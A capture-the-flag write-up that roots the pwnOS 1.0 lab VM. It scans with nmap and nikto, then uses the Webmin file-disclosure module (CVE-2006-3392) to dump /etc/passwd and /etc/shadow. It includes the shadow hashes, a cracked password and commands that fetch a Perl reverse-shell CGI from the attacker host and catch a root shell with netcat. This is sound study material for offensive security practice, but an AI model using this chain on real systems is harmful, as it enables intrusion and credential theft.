PWNOS 1.0 WRITEUP

**RECONNAISSANCE:-**

-------> Finding the IP address of the target machine using " Netdiscover " tool :-

Command Used :- sudo netdiscover -i eth0

Output :-

6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

IP At MAC Address Count Len MAC Vendor / Hostname

-----------------------------------------------------------------------------

192.168.1.104 00:50:56:c0:00:01 1 60 VMware, Inc.

192.168.84.1 00:50:56:c0:00:01 2 120 VMware, Inc.

192.168.84.129 00:0c:29:5e:18:c9 2 120 VMware, Inc.

192.168.84.254 00:50:56:f3:a8:4a 1 60 VMware, Inc.

The target machine's IP address will be : 192.168.84.129

**SCANNING:-**

--------> Performing a basic port scan on all ports using " Nmap " tool :-

Command Used :- nmap 192.168.84.129 -p-

Output :-

┌──(kali㉿kali)-[~]

└─$ nmap 192.168.84.129 -p-

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 04:40 EDT

Nmap scan report for 192.168.84.129

Host is up (0.0022s latency).

Not shown: 65530 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

10000/tcp open snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds

--------> Performing script scan using nmap :-

Command Used :- sudo nmap 192.168.84.129 -p- --script vuln -sT

Output :-

┌──(kali㉿kali)-[~]

└─$ sudo nmap 192.168.84.129 -p- --script vuln -sT

[sudo] password for kali:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-03 04:51 EDT

Nmap scan report for 192.168.84.129

Host is up (0.0025s latency).

Not shown: 65530 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

|\_http-csrf: Couldn't find any CSRF vulnerabilities.

|\_http-dombased-xss: Couldn't find any DOM based XSS.

| http-enum:

| /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'

| /index/: Potentially interesting folder

|\_ /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'

| http-slowloris-check:

| VULNERABLE:

| Slowloris DOS attack

| State: LIKELY VULNERABLE

| IDs: CVE:CVE-2007-6750

| Slowloris tries to keep many connections to the target web server open and hold

| them open as long as possible. It accomplishes this by opening connections to

| the target web server and sending a partial request. By doing so, it starves

| the http server's resources causing Denial Of Service.

|

| Disclosure date: 2009-09-17

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750

|\_ http://ha.ckers.org/slowloris/

|\_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

|\_http-trace: TRACE is enabled

|\_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

139/tcp open netbios-ssn

445/tcp open microsoft-ds

10000/tcp open snet-sensor-mgmt

| http-vuln-cve2006-3392:

| VULNERABLE:

| Webmin File Disclosure

| State: VULNERABLE (Exploitable)

| IDs: CVE:CVE-2006-3392

| Webmin before 1.290 and Usermin before 1.220 calls the simplify\_path function before decoding HTML.

| This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences

| to bypass the removal of "../" directory traversal sequences.

|

| Disclosure date: 2006-06-29

| References:

| http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file\_disclosure

| http://www.exploit-db.com/exploits/1997/

|\_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392

MAC Address: 00:0C:29:5E:18:C9 (VMware)

Host script results:

|\_smb-vuln-ms10-054: false

|\_smb-vuln-ms10-061: false

|\_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 326.33 seconds

--------> The basic port scan showed port 80 and 10000 open, So We can assume there might be a webpages

running on that machine and can perform nikto scan on the target machine.

Command Used :- nikto --url 192.168.84.129

Output :-

┌──(kali㉿kali)-[~]

└─$ nikto --url 192.168.84.129

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP: 192.168.84.129

+ Target Hostname: 192.168.84.129

+ Target Port: 80

+ Start Time: 2021-05-03 06:03:19 (GMT-4)

---------------------------------------------------------------------------

+ Server: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6

+ Retrieved x-powered-by header: PHP/5.2.3-1ubuntu6

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ PHP/5.2.3-1ubuntu6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.

+ Apache/2.2.4 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

+ Uncommon header 'tcn' found, with contents: list

+ Apache mod\_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-3268: /php/: Directory indexing found.

+ OSVDB-3092: /php/: This might be interesting...

+ OSVDB-3268: /icons/: Directory indexing found.

+ Server may leak inodes via ETags, header found with file /icons/README, inode: 294754, size: 4872, mtime: Thu Jun 24 15:46:08 2010

+ OSVDB-3233: /icons/README: Apache default file found.

+ /index1.php: PHP include error may indicate local or remote file inclusion is possible.

+ 8724 requests: 0 error(s) and 21 item(s) reported on remote host

+ End Time: 2021-05-03 06:03:48 (GMT-4) (29 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

----------> From the nmap scan , It is clear that port 10000 which is running webmin service is vulnerable and it's CVE id is " CVE-2006-3392 " . So, by searching the CVE number in metasploit console ,

an exploit is found for that particular cve id.

Output :-

msf6 > search CVE:CVE-2006-3392

Matching Modules

================

# Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------

0 auxiliary/admin/webmin/file\_disclosure 2006-06-30 normal No Webmin File Disclosure

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/webmin/file\_disclosure

---> Then, I used that particular exploit and set the rhosts value and ran the exploit , it resulted in the following output,

Output :-

msf6 auxiliary(admin/webmin/file\_disclosure) > show options

Module options (auxiliary/admin/webmin/file\_disclosure):

Name Current Setting Required Description

---- --------------- -------- -----------

DIR /unauthenticated yes Webmin directory path

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

RPATH /etc/passwd yes The file to download

RPORT 10000 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

VHOST no HTTP server virtual host

Auxiliary action:

Name Description

---- -----------

Download Download arbitrary file

msf6 auxiliary(admin/webmin/file\_disclosure) > set rhosts 192.168.84.129

rhosts => 192.168.84.129

msf6 auxiliary(admin/webmin/file\_disclosure) > run

[\*] Running module against 192.168.84.129

[\*] Attempting to retrieve /etc/passwd...

[\*] The server returned: 200 Document follows

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

dhcp:x:100:101::/nonexistent:/bin/false

syslog:x:101:102::/home/syslog:/bin/false

klog:x:102:103::/home/klog:/bin/false

mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false

sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash

obama:x:1001:1001::/home/obama:/bin/bash

osama:x:1002:1002::/home/osama:/bin/bash

yomama:x:1003:1003::/home/yomama:/bin/bash

[\*] Auxiliary module execution completed

--> using this exploit , I was able to retrieve /etc/passwd file. Now, I changed "RPATH" value to /etc/shadow to check whether the exploit can retrieve shadow file which

contains hashed passwords and it worked as expected.

Output :-

msf6 auxiliary(admin/webmin/file\_disclosure) > set rpath /etc/shadow

rpath => /etc/shadow

msf6 auxiliary(admin/webmin/file\_disclosure) > run

[\*] Running module against 192.168.84.129

[\*] Attempting to retrieve /etc/shadow...

[\*] The server returned: 200 Document follows

root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::

daemon:\*:14040:0:99999:7:::

bin:\*:14040:0:99999:7:::

sys:\*:14040:0:99999:7:::

sync:\*:14040:0:99999:7:::

games:\*:14040:0:99999:7:::

man:\*:14040:0:99999:7:::

lp:\*:14040:0:99999:7:::

mail:\*:14040:0:99999:7:::

news:\*:14040:0:99999:7:::

uucp:\*:14040:0:99999:7:::

proxy:\*:14040:0:99999:7:::

www-data:\*:14040:0:99999:7:::

backup:\*:14040:0:99999:7:::

list:\*:14040:0:99999:7:::

irc:\*:14040:0:99999:7:::

gnats:\*:14040:0:99999:7:::

nobody:\*:14040:0:99999:7:::

dhcp:!:14040:0:99999:7:::

syslog:!:14040:0:99999:7:::

klog:!:14040:0:99999:7:::

mysql:!:14040:0:99999:7:::

sshd:!:14040:0:99999:7:::

vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::

obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::

osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::

yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

[\*] Auxiliary module execution completed

----------> Now, I have the hashed passwords for the users. I need to crack the passwords and attempt ssh login since port 22 is open.

To crack the passwords I'll use " John the ripper " tool and " rockyou " wordlist.

Command Used :- john vmware --wordlist=/home/kali/Documents/rockyou.txt --format=md5crypt-long

and

john vmware --show

Output :-

┌──(kali㉿kali)-[~]

└─$ john vmware --wordlist=/home/kali/Documents/rockyou.txt --format=md5crypt-long

Using default input encoding: UTF-8

Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])

No password hashes left to crack (see FAQ)

┌──(kali㉿kali)-[~]

└─$ john vmware --show

?:h4ckm3

1 password hash cracked, 0 left

------> I was able to get the password for the user "vmware" after cracking the hash using " John "

Password : h4ckm3

**GAINING ACCESS:-**

------> Now, I'll try to login via ssh using the cracked password.

Output :

┌──(kali㉿kali)-[~]

└─$ ssh vmware@192.168.84.129 1 ⨯

The authenticity of host '192.168.84.129 (192.168.84.129)' can't be established.

RSA key fingerprint is SHA256:+C7UA7dQ1B/8zVWHRBD7KeNNfjuSBrtQBMZGd6qoR9w.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.84.129' (RSA) to the list of known hosts.

vmware@192.168.84.129's password:

Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/\*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

Last login: Fri Jun 20 14:35:37 2008

vmware@ubuntuvm:~$

------> And it worked.

**MAINTAINING ACCESS AND PRIVILEGE ESCALATION:-**

-----> Webmin is using perl with .cgi extension , I found it when I viewed the page source and there was session\_login.cgi file. I wanted

to see the content of the file hoping there'd be some sort of hint to bypass login page. Instead, I found out it's using perl. So , my initial thought was to replace

the original session\_login.cgi file with perl backdoor by renaming it to session\_login.cgi and request that particular file from metasploit console, the same way I dumped shadow and passwd files.

I tried replacing that file but I couldn't do so because I'm not in sudoers group. So, I copied the perl webshell in the name of exp.cgi and copied it to /tmp folder on the target machine and changed permsissions

for that file I copied. Now, I changed the rpath on the metasploit console to "/tmp/exp.cgi". Then , I've setup a netcat listener on my attacker machine and ran the exploit on metasploit console.

I instantly got the reverse shell with root access.

Commands Used :-

attacker side :- python -m SimpleHTTPServer 9090 , nc -lvp 3434

target side :- wget http:192.168.84.128:9090/exp.cgi

mv exp.cgi /tmp/exp.cgi

Output :-

Metasploit Console Output :-

msf6 auxiliary(admin/webmin/file\_disclosure) > set rpath /tmp/exp.cgi

rpath => /tmp/exp.cgi

msf6 auxiliary(admin/webmin/file\_disclosure) > set rhosts 192.168.84.129

rhosts => 192.168.84.129

msf6 auxiliary(admin/webmin/file\_disclosure) > run

[\*] Running module against 192.168.84.129

[\*] Attempting to retrieve /tmp/exp.cgi...

[\*] The server returned: 200 Document follows

Browser IP address appears to be: 192.168.84.128<p>

Content-Length: 97

Connection: close

Content-Type: text/html

Browser IP address appears to be: 192.168.84.128<p>

Sent reverse shell to 192.168.84.128:3434<p>

[\*] Auxiliary module execution completed

Netcat Listener Output:-

┌──(kali㉿kali)-[~]

└─$ nc -lvp 3434

listening on [any] 3434 ...

192.168.84.129: inverse host lookup failed: Host name lookup failure

connect to [192.168.84.128] from (UNKNOWN) [192.168.84.129] 40224

08:44:13 up 5:05, 1 user, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

vmware pts/0 192.168.84.128 06:48 10:25m 0.11s 0.11s -bash

Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux

uid=0(root) gid=0(root)

/

/usr/sbin/apache: can't access tty; job control turned off

# whoami

root

#

Now, I successfully got root access on pwnos machine.